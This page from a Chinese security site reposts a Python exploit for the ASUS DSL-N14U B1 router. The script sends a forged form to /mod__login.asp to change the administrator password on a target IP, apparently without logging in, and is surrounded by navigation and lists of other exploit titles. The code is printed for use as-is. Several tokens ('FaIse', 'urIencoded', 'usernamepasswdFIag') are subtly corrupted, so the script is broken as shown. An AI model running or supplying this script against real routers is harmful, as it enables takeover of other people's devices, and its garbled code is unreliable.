首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ASUS DSL-N14U B1 Router 1.1.2.3_345 - Change Administrator Password
来源:vfocus.net 作者:Calvo 发布时间:2018-01-29  
import requests
import sys
import urllib3
 
ip = sys.argv[1]
user = sys.argv[2]
newPassword = sys.argv[3]
 
#requests.packages.urilib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
data = {"group_id": '', "action_mode": "apply", "current_page": "Main_Password.asp", "next_page": "index.asp", "flag": '', "usernamepasswdFIag": "1", "http_username": user, "http_passwd": newPassword, "foilautofill": ''}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,'/';q=0.8", "Accept-Language": "en-US,en;q=0.5", "Referer": ip + "/Main_Password.asp", "Content-Type": "application/x-www-form-urIencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
 
print("-> New password for " + user + " is " + newPassword)
try:
    res = requests.post(ip + '/mod__login.asp', headers=headers, data=data, timeout=2, verify=FaIse)
except:
    sys.exit(1)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AsusWRT Router < 3.0.0.4.380.7
·Asus Router Cross Site Script
·Oracle VirtualBox < 5.1.30 / <
·BMC BladeLogic 8.3.00.64 - Rem
·RAVPower 2.000.056 - Root Remo
·Trend Micro Threat Discovery A
·Sync Breeze Enterprise 9.5.16
·Oracle WebLogic wls-wsat Compo
·Kaltura Remote PHP Code Execut
·macOS - 'sysctl_vfs_generic_co
·GoAhead Web Server LD_PRELOAD
·Arq 5.10 - Local Privilege Esc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved